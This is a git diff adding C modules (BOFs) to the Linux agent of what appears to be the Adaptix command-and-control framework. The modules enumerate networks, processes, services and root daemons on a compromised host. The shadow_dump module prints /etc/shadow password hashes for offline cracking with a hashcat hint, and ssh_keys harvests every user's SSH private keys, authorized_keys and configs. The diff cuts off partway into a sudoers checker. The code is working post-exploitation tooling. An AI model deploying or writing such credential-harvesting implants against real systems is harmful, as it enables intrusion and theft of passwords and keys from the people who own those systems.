+ default: return "UNKNOWN"; + } +} + +static void parse_tcp_connections(const char *path, const char *proto) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 524288); + if (len <= 0 || !data) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s connections (%s) ===\n", proto, path); + BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-22s %-22s %-15s %-6s\n", + "IDX", "LOCAL", "REMOTE", "STATE", "UID"); + + char *line = data; + int line_num = 0; + + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + + line_num++; + if (line_num == 1) { // Skip header + line = eol + 1; + continue; + } + + // Parse: idx: local_addr:port remote_addr:port state ... uid + // Skip leading whitespace + char *p = line; + while (p < eol && (*p == ' ' || *p == '\t')) p++; + + // Find fields by scanning for colons and spaces + // Format: " 0: 0100007F:0035 00000000:0000 0A 00000000:00000000 ..." + // Simple approach: find key hex fields + char *colon1 = AxStrchr(p, ':'); + if (!colon1 || colon1 >= eol) { line = eol + 1; continue; } + + // Local address starts after first ": " + char *local_start = colon1 + 2; + char *local_colon = AxStrchr(local_start, ':'); + if (!local_colon || local_colon >= eol) { line = eol + 1; continue; } + + char local_ip_hex[16]; + int lip_len = (int)(local_colon - local_start); + if (lip_len > 15) lip_len = 15; + AxMemcpy(local_ip_hex, local_start, lip_len); + local_ip_hex[lip_len] = '\0'; + + int local_port = hex_to_int(local_colon + 1, 4); + + // Remote address + char *space_after_local = local_colon + 5; + while (space_after_local < eol && *space_after_local == ' ') space_after_local++; + char *remote_colon = AxStrchr(space_after_local, ':'); + if (!remote_colon || remote_colon >= eol) { line = eol + 1; continue; } + + char remote_ip_hex[16]; + int rip_len = (int)(remote_colon - space_after_local); + if (rip_len > 15) rip_len = 15; + AxMemcpy(remote_ip_hex, space_after_local, rip_len); + remote_ip_hex[rip_len] = '\0'; + + int remote_port = hex_to_int(remote_colon + 1, 4); + + // State (2 hex chars after remote port + space) + char *state_start = remote_colon + 6; + while (state_start < eol && *state_start == ' ') state_start++; + int state = hex_to_int(state_start, 2); + + // Convert IPs + char local_ip[32], remote_ip[32]; + parse_hex_ip(local_ip_hex, local_ip, sizeof(local_ip)); + parse_hex_ip(remote_ip_hex, remote_ip, sizeof(remote_ip)); + + char local_str[40], remote_str[40]; + AxSnprintf(local_str, sizeof(local_str), "%s:%d", local_ip, local_port); + AxSnprintf(remote_str, sizeof(remote_str), "%s:%d", remote_ip, remote_port); + + BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-22s %-22s %-15s\n", + line_num - 1, local_str, remote_str, tcp_state_str(state)); + + line = eol + 1; + } + AxFree(data); +} + +static void parse_arp_table(void) { + char *data = (char *)0; + int len = AxReadFileToBuffer("/proc/net/arp", &data, 65536); + if (len <= 0 || !data) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== ARP table ===\n"); + BeaconOutput(CALLBACK_OUTPUT, data, len); + AxFree(data); +} + +static void parse_dns(void) { + char *data = (char *)0; + int len = AxReadFileToBuffer("/etc/resolv.conf", &data, 8192); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== DNS configuration ===\n"); + // Show only nameserver and search/domain lines + char *line = data; + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + int llen = (int)(eol - line); + + if (llen > 0 && line[0] != '#') { + if (AxStrncmp(line, "nameserver", 10) == 0 || + AxStrncmp(line, "search", 6) == 0 || + AxStrncmp(line, "domain", 6) == 0) { + char lbuf[256]; + if (llen > 255) llen = 255; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + } + line = eol + 1; + } + AxFree(data); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Network enumeration\n"); + + // Interfaces + dump_file_section("Network interfaces", "/proc/net/dev"); + + // Routes + dump_file_section("Routing table", "/proc/net/route"); + + // IPv6 routes (if present) + dump_file_section("IPv6 routes", "/proc/net/ipv6_route"); + + // ARP + parse_arp_table(); + + // DNS + parse_dns(); + + // TCP connections + parse_tcp_connections("/proc/net/tcp", "TCP"); + + // UDP listeners + dump_file_section("UDP sockets", "/proc/net/udp"); + + // TCP6 + parse_tcp_connections("/proc/net/tcp6", "TCP6"); + + // Listening ports summary + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/hosts ===\n"); + char *hosts = (char *)0; + int hosts_len = AxReadFileToBuffer("/etc/hosts", &hosts, 8192); + if (hosts_len > 0 && hosts) { + BeaconOutput(CALLBACK_OUTPUT, hosts, hosts_len); + AxFree(hosts); + } + + // Hostname + char *hostname = (char *)0; + int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hostname, 256); + if (hn_len > 0 && hostname) { + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Hostname: %s", hostname); + AxFree(hostname); + } + + // Domain + char *domain = (char *)0; + int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &domain, 256); + if (dm_len > 0 && domain) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Domain: %s", domain); + AxFree(domain); + } + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Network enumeration complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c new file mode 100644 index 000000000..e957d3c09 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c @@ -0,0 +1,164 @@ +/// proc_enum.c — BOF: Deep /proc process enumeration (threads, fd, cmdline, maps, cwd) +/// Compile: gcc -c -o proc_enum.o proc_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof proc_enum.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } + +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { + val = val * 10 + (*s - '0'); + s++; + } + return val; +} + +static void enum_process(int pid) { + char path[256]; + char buf[4096]; + + // cmdline + AxSnprintf(path, sizeof(path), "/proc/%d/cmdline", pid); + char *cmdline = (char *)0; + int cmdline_len = AxReadFileToBuffer(path, &cmdline, 4096); + + // Replace null bytes with spaces in cmdline + char cmd_display[512]; + cmd_display[0] = '\0'; + if (cmdline_len > 0 && cmdline) { + int dlen = cmdline_len > 500 ? 500 : cmdline_len; + AxMemcpy(cmd_display, cmdline, dlen); + for (int i = 0; i < dlen; i++) { + if (cmd_display[i] == '\0') cmd_display[i] = ' '; + } + cmd_display[dlen] = '\0'; + AxFree(cmdline); + } + + // status — extract key fields + AxSnprintf(path, sizeof(path), "/proc/%d/status", pid); + char *status = (char *)0; + int status_len = AxReadFileToBuffer(path, &status, 8192); + if (status_len <= 0 || !status) return; + + // Parse Name, State, Uid, Gid, Threads, VmRSS + char name[128] = "(unknown)"; + char state[32] = "?"; + int uid = -1, threads = 0; + long vm_rss = 0; + + char *line = status; + while (line < status + status_len) { + char *eol = line; + while (eol < status + status_len && *eol != '\n') eol++; + + if (AxStrncmp(line, "Name:\t", 6) == 0) { + int nlen = (int)(eol - line - 6); + if (nlen > 127) nlen = 127; + AxMemcpy(name, line + 6, nlen); + name[nlen] = '\0'; + } else if (AxStrncmp(line, "State:\t", 7) == 0) { + int slen = (int)(eol - line - 7); + if (slen > 31) slen = 31; + AxMemcpy(state, line + 7, slen); + state[slen] = '\0'; + } else if (AxStrncmp(line, "Uid:\t", 5) == 0) { + uid = str_to_int(line + 5); + } else if (AxStrncmp(line, "Threads:\t", 9) == 0) { + threads = str_to_int(line + 9); + } else if (AxStrncmp(line, "VmRSS:", 6) == 0) { + char *p = line + 6; + while (*p == ' ' || *p == '\t') p++; + vm_rss = 0; + while (*p >= '0' && *p <= '9') { + vm_rss = vm_rss * 10 + (*p - '0'); + p++; + } + } + line = eol + 1; + } + AxFree(status); + + // cwd (readlink via reading /proc/pid/cwd — we read the symlink target) + char cwd[256] = ""; + AxSnprintf(path, sizeof(path), "/proc/%d/cwd", pid); + // Can't readlink without syscall, but we can try exe + AxSnprintf(path, sizeof(path), "/proc/%d/exe", pid); + char *exe = (char *)0; + // exe is a symlink — read via /proc/pid/maps first line or status + // Simplify: just show cmdline + + // Count open FDs + int fd_count = 0; + AxSnprintf(path, sizeof(path), "/proc/%d/fd", pid); + int dirfd = AxOpenDir(path); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') fd_count++; + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } + + // Output + BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-4d %-20s %-10s thr=%-3d fd=%-4d rss=%-8ld %s\n", + pid, uid, name, state, threads, fd_count, vm_rss, cmd_display); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep process enumeration\n\n"); + BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-4s %-20s %-10s %-7s %-6s %-10s %s\n", + "PID", "UID", "NAME", "STATE", "THR", "FDs", "RSS(kB)", "CMDLINE"); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", + "----------------------------------------------------------------------" + "----------------------------------------------"); + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) { + BeaconPrintf(CALLBACK_ERROR, "[!] Cannot open /proc\n"); + return; + } + + char dirbuf[8192]; + int total = 0; + + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + // Only process numeric directories (PIDs) + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + enum_process(pid); + total++; + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d processes enumerated\n", total); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c new file mode 100644 index 000000000..3bda8dd6a --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c @@ -0,0 +1,301 @@ +/// service_enum.c — BOF: Enumerate running services, systemd units, init scripts +/// Compile: gcc -c -o service_enum.o service_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof service_enum.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_REG 8 +#define DT_LNK 10 +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; } + return val; +} + +static void enum_listening_services(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Listening services (from /proc/net/tcp) ===\n"); + + char *tcp = (char *)0; + int tcp_len = AxReadFileToBuffer("/proc/net/tcp", &tcp, 524288); + if (tcp_len <= 0 || !tcp) return; + + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %-22s\n", "PROTO", "LISTEN ADDRESS"); + + char *line = tcp; + int line_num = 0; + while (line < tcp + tcp_len) { + char *eol = line; + while (eol < tcp + tcp_len && *eol != '\n') eol++; + + line_num++; + if (line_num == 1) { line = eol + 1; continue; } + + // Find state field (0A = LISTEN) + // Quick scan for "0A" as state + char *p = line; + // Skip to after remote_addr:port (3 colon-delimited fields) + int colons = 0; + while (p < eol && colons < 3) { + if (*p == ':') colons++; + p++; + } + // Skip spaces + while (p < eol && *p == ' ') p++; + // Now at state field — skip port hex + // Actually simpler: look for " 0A " pattern in line + char *state = AxStrstr(line, " 0A "); + if (state) { + // This is a LISTEN socket — extract local address + char *colon1 = AxStrchr(line, ':'); + if (colon1) { + char *local = colon1 + 2; + char *lcolon = AxStrchr(local, ':'); + if (lcolon && lcolon < state) { + // Parse IP and port + char ip_hex[16]; + int ip_len = (int)(lcolon - local); + if (ip_len > 15) ip_len = 15; + AxMemcpy(ip_hex, local, ip_len); + ip_hex[ip_len] = '\0'; + + // Parse hex port + int port = 0; + for (int i = 1; i <= 4 && lcolon[i]; i++) { + int nibble = 0; + char c = lcolon[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + port = (port << 4) | nibble; + } + + // Parse hex IP (little-endian) + unsigned int ip = 0; + for (int i = 0; i < 8 && ip_hex[i]; i++) { + int nibble = 0; + char c = ip_hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n", + "tcp", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF, + port); + } + } + } + line = eol + 1; + } + AxFree(tcp); + + // UDP listeners (all UDP sockets are effectively "listening") + char *udp = (char *)0; + int udp_len = AxReadFileToBuffer("/proc/net/udp", &udp, 524288); + if (udp_len > 0 && udp) { + char *line2 = udp; + int ln = 0; + while (line2 < udp + udp_len) { + char *eol2 = line2; + while (eol2 < udp + udp_len && *eol2 != '\n') eol2++; + ln++; + if (ln > 1) { + char *colon1 = AxStrchr(line2, ':'); + if (colon1) { + char *local = colon1 + 2; + char *lcolon = AxStrchr(local, ':'); + if (lcolon) { + int port = 0; + for (int i = 1; i <= 4 && lcolon[i]; i++) { + int nibble = 0; + char c = lcolon[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + port = (port << 4) | nibble; + } + if (port > 0) { + unsigned int ip = 0; + char ip_hex[16]; + int ip_len = (int)(lcolon - local); + if (ip_len > 15) ip_len = 15; + AxMemcpy(ip_hex, local, ip_len); + ip_hex[ip_len] = '\0'; + for (int i = 0; i < 8 && ip_hex[i]; i++) { + int nibble = 0; + char c = ip_hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n", + "udp", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF, + port); + } + } + } + } + line2 = eol2 + 1; + } + AxFree(udp); + } +} + +static void enum_systemd_units(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Systemd service units ===\n"); + + const char *unit_dirs[] = { + "/etc/systemd/system", + "/usr/lib/systemd/system", + "/lib/systemd/system", + (const char *)0 + }; + + for (int d = 0; unit_dirs[d]; d++) { + int dirfd = AxOpenDir(unit_dirs[d]); + if (dirfd < 0) continue; + + BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", unit_dirs[d]); + + char dirbuf[8192]; + int count = 0; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Only show .service files + int nlen = AxStrlen(name); + if (nlen > 8 && AxStrcmp(name + nlen - 8, ".service") == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", name); + count++; + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + if (count == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no .service files)\n"); + } + } +} + +static void enum_init_scripts(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Init scripts ===\n"); + + int dirfd = AxOpenDir("/etc/init.d"); + if (dirfd < 0) { + BeaconPrintf(CALLBACK_OUTPUT, " /etc/init.d not found\n"); + return; + } + + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", entry->d_name); + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); +} + +static void enum_running_daemons(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Running daemons (root processes) ===\n"); + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) return; + + char dirbuf[8192]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + char path[128]; + AxSnprintf(path, sizeof(path), "/proc/%d/status", pid); + char *status = (char *)0; + int slen = AxReadFileToBuffer(path, &status, 4096); + if (slen > 0 && status) { + // Check if UID is 0 + char *uid_line = AxStrstr(status, "Uid:\t"); + if (uid_line) { + int uid = str_to_int(uid_line + 5); + if (uid == 0) { + // Get name + char *name_line = AxStrstr(status, "Name:\t"); + if (name_line) { + name_line += 6; + char *eol = AxStrchr(name_line, '\n'); + if (eol) { + char pname[128]; + int plen = (int)(eol - name_line); + if (plen > 127) plen = 127; + AxMemcpy(pname, name_line, plen); + pname[plen] = '\0'; + + // Get PPID + char *ppid_line = AxStrstr(status, "PPid:\t"); + int ppid = 0; + if (ppid_line) ppid = str_to_int(ppid_line + 6); + + // Only show if PPID is 1 (daemon) or 0 (kernel) + if (ppid <= 1) { + BeaconPrintf(CALLBACK_OUTPUT, " PID %-6d %s\n", pid, pname); + } + } + } + } + } + AxFree(status); + } + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Service enumeration\n"); + + enum_listening_services(); + enum_running_daemons(); + enum_systemd_units(); + enum_init_scripts(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Service enumeration complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c new file mode 100644 index 000000000..e6264bc3e --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c @@ -0,0 +1,98 @@ +/// shadow_dump.c — BOF: Dump /etc/shadow + /etc/passwd for offline cracking +/// Compile: gcc -c -o shadow_dump.o shadow_dump.c -include bof_api.h -Os -fPIC +/// Usage: execute bof shadow_dump.o + +void go(char *args, int args_len) { + if (!BeaconIsAdmin()) { + BeaconPrintf(CALLBACK_ERROR, "[!] Not running as root — cannot read /etc/shadow\n"); + return; + } + + // Read /etc/shadow + char *shadow_data = (char *)0; + int shadow_len = AxReadFileToBuffer("/etc/shadow", &shadow_data, 524288); + if (shadow_len > 0 && shadow_data) { + BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/shadow (%d bytes) ===\n", shadow_len); + BeaconOutput(CALLBACK_OUTPUT, shadow_data, shadow_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(shadow_data); + } else { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/shadow\n"); + } + + // Read /etc/passwd for cross-reference + char *passwd_data = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd_data, 524288); + if (passwd_len > 0 && passwd_data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/passwd (%d bytes) ===\n", passwd_len); + BeaconOutput(CALLBACK_OUTPUT, passwd_data, passwd_len); + AxFree(passwd_data); + } + + // Parse shadow for accounts with password hashes (not ! or * or empty) + char *shadow2 = (char *)0; + int shadow2_len = AxReadFileToBuffer("/etc/shadow", &shadow2, 524288); + if (shadow2_len > 0 && shadow2) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Accounts with password hashes ===\n"); + int crackable = 0; + char *line = shadow2; + while (line < shadow2 + shadow2_len) { + // Find end of line + char *eol = line; + while (eol < shadow2 + shadow2_len && *eol != '\n') + eol++; + + // Find first colon (end of username) + char *colon1 = line; + while (colon1 < eol && *colon1 != ':') + colon1++; + + if (colon1 < eol) { + char *hash_start = colon1 + 1; + // Find second colon (end of hash field) + char *colon2 = hash_start; + while (colon2 < eol && *colon2 != ':') + colon2++; + + int hash_len = (int)(colon2 - hash_start); + // Skip locked (!) or disabled (*) or empty accounts + if (hash_len > 2 && *hash_start != '!' && *hash_start != '*') { + // Print username:hash + int uname_len = (int)(colon1 - line); + char uname[256]; + if (uname_len > 255) uname_len = 255; + AxMemcpy(uname, line, uname_len); + uname[uname_len] = '\0'; + + char hash[512]; + if (hash_len > 511) hash_len = 511; + AxMemcpy(hash, hash_start, hash_len); + hash[hash_len] = '\0'; + + // Identify hash type + const char *htype = "unknown"; + if (AxStrncmp(hash, "$1$", 3) == 0) htype = "MD5"; + if (AxStrncmp(hash, "$5$", 3) == 0) htype = "SHA-256"; + if (AxStrncmp(hash, "$6$", 3) == 0) htype = "SHA-512"; + if (AxStrncmp(hash, "$y$", 3) == 0) htype = "yescrypt"; + if (AxStrncmp(hash, "$2b$", 4) == 0) htype = "bcrypt"; + if (AxStrncmp(hash, "$2a$", 4) == 0) htype = "bcrypt"; + + BeaconPrintf(CALLBACK_OUTPUT, " [%s] %s:%s\n", htype, uname, hash); + crackable++; + } + } + + line = eol + 1; + } + + if (crackable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no crackable hashes found)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d crackable account(s) found\n", crackable); + BeaconPrintf(CALLBACK_OUTPUT, "[*] Crack with: hashcat -m 1800 hashes.txt wordlist.txt\n"); + } + + AxFree(shadow2); + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c new file mode 100644 index 000000000..c733c6df7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c @@ -0,0 +1,214 @@ +/// ssh_keys.c — BOF: Scan all users for SSH private keys, configs, known_hosts +/// Compile: gcc -c -o ssh_keys.o ssh_keys.c -include bof_api.h -Os -fPIC +/// Usage: execute bof ssh_keys.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +static void scan_ssh_dir(const char *homedir, const char *username) { + char ssh_path[512]; + AxSnprintf(ssh_path, sizeof(ssh_path), "%s/.ssh", homedir); + + int fd = AxOpenDir(ssh_path); + if (fd < 0) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s/.ssh/)\n", username, homedir); + + char dirbuf[4096]; + int found_keys = 0; + + while (1) { + int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. + if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) { + pos += entry->d_reclen; + continue; + } + + char filepath[768]; + AxSnprintf(filepath, sizeof(filepath), "%s/%s", ssh_path, name); + + // Check if it's a private key file + int is_privkey = 0; + if (AxStrcmp(name, "id_rsa") == 0 || + AxStrcmp(name, "id_ed25519") == 0 || + AxStrcmp(name, "id_ecdsa") == 0 || + AxStrcmp(name, "id_dsa") == 0) { + is_privkey = 1; + } + + // Also detect non-standard key names by reading header + if (!is_privkey && entry->d_type == DT_REG) { + char header[64]; + int hfd = AxOpenFile(filepath, 0, 0); + if (hfd >= 0) { + int n = AxReadFile(hfd, header, 63); + AxCloseFile(hfd); + if (n > 30) { + header[n] = '\0'; + if (AxStrstr(header, "PRIVATE KEY") != (char *)0) { + is_privkey = 1; + } + } + } + } + + if (is_privkey) { + // Read and dump the private key + char *key_data = (char *)0; + int key_len = AxReadFileToBuffer(filepath, &key_data, 65536); + if (key_len > 0 && key_data) { + // Check if encrypted + int encrypted = 0; + if (AxStrstr(key_data, "ENCRYPTED") != (char *)0) + encrypted = 1; + + BeaconPrintf(CALLBACK_OUTPUT, " [KEY] %s (%d bytes)%s\n", + name, key_len, encrypted ? " [ENCRYPTED]" : " [UNENCRYPTED]"); + BeaconOutput(CALLBACK_OUTPUT, key_data, key_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + found_keys++; + AxFree(key_data); + } + } else if (AxStrcmp(name, "authorized_keys") == 0) { + // Show authorized keys (who can login) + char *ak_data = (char *)0; + int ak_len = AxReadFileToBuffer(filepath, &ak_data, 65536); + if (ak_len > 0 && ak_data) { + // Count keys + int nkeys = 0; + for (int i = 0; i < ak_len; i++) { + if (ak_data[i] == '\n') nkeys++; + } + if (ak_len > 0 && ak_data[ak_len - 1] != '\n') nkeys++; + + BeaconPrintf(CALLBACK_OUTPUT, " [AUTH] authorized_keys (%d keys)\n", nkeys); + BeaconOutput(CALLBACK_OUTPUT, ak_data, ak_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(ak_data); + } + } else if (AxStrcmp(name, "known_hosts") == 0) { + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [HOSTS] known_hosts (%ld bytes)\n", fsize); + } + } else if (AxStrcmp(name, "config") == 0) { + // SSH config can reveal internal hosts, jump proxies, etc. + char *cfg_data = (char *)0; + int cfg_len = AxReadFileToBuffer(filepath, &cfg_data, 65536); + if (cfg_len > 0 && cfg_data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CONFIG] config (%d bytes)\n", cfg_len); + BeaconOutput(CALLBACK_OUTPUT, cfg_data, cfg_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(cfg_data); + } + } + + pos += entry->d_reclen; + } + } + AxCloseFile(fd); + + if (found_keys == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no private keys found)\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning SSH keys for all users...\n"); + + // Parse /etc/passwd to find home directories + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (passwd_len <= 0 || !passwd) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/passwd\n"); + return; + } + + int users_scanned = 0; + int total_keys = 0; + char *line = passwd; + + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // Parse passwd line: username:x:uid:gid:gecos:homedir:shell + int field = 0; + char *username = line; + int username_len = 0; + char *homedir = (char *)0; + int homedir_len = 0; + char *shell = (char *)0; + int shell_len = 0; + char *field_start = line; + + for (char *p = line; p <= eol; p++) { + if (p == eol || *p == ':') { + if (field == 0) { + username = field_start; + username_len = (int)(p - field_start); + } else if (field == 5) { + homedir = field_start; + homedir_len = (int)(p - field_start); + } else if (field == 6) { + shell = field_start; + shell_len = (int)(p - field_start); + } + field++; + field_start = p + 1; + } + } + + // Skip system accounts with nologin/false shells (but keep root) + int skip = 0; + if (shell && shell_len > 0) { + // Check last component of shell path + if (shell_len >= 7 && AxStrncmp(shell + shell_len - 7, "nologin", 7) == 0) + skip = 1; + if (shell_len >= 5 && AxStrncmp(shell + shell_len - 5, "false", 5) == 0) + skip = 1; + } + + // Always scan root regardless of shell + if (username_len == 4 && AxStrncmp(username, "root", 4) == 0) + skip = 0; + + if (!skip && homedir && homedir_len > 0 && homedir_len < 256) { + char home_buf[512]; + AxMemcpy(home_buf, homedir, homedir_len); + home_buf[homedir_len] = '\0'; + + char uname_buf[256]; + if (username_len > 255) username_len = 255; + AxMemcpy(uname_buf, username, username_len); + uname_buf[username_len] = '\0'; + + scan_ssh_dir(home_buf, uname_buf); + users_scanned++; + } + + line = eol + 1; + } + + AxFree(passwd); + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Scanned %d user(s)\n", users_scanned); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c new file mode 100644 index 000000000..0ba344773 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c @@ -0,0 +1,264 @@ +/// sudo_check.c — BOF: Parse sudoers configuration + check current user privileges +/// Compile: gcc -c -o sudo_check.o sudo_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof sudo_check.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_REG 8 + +static void print_interesting_lines(const char *data, int len, const char *source) { + // 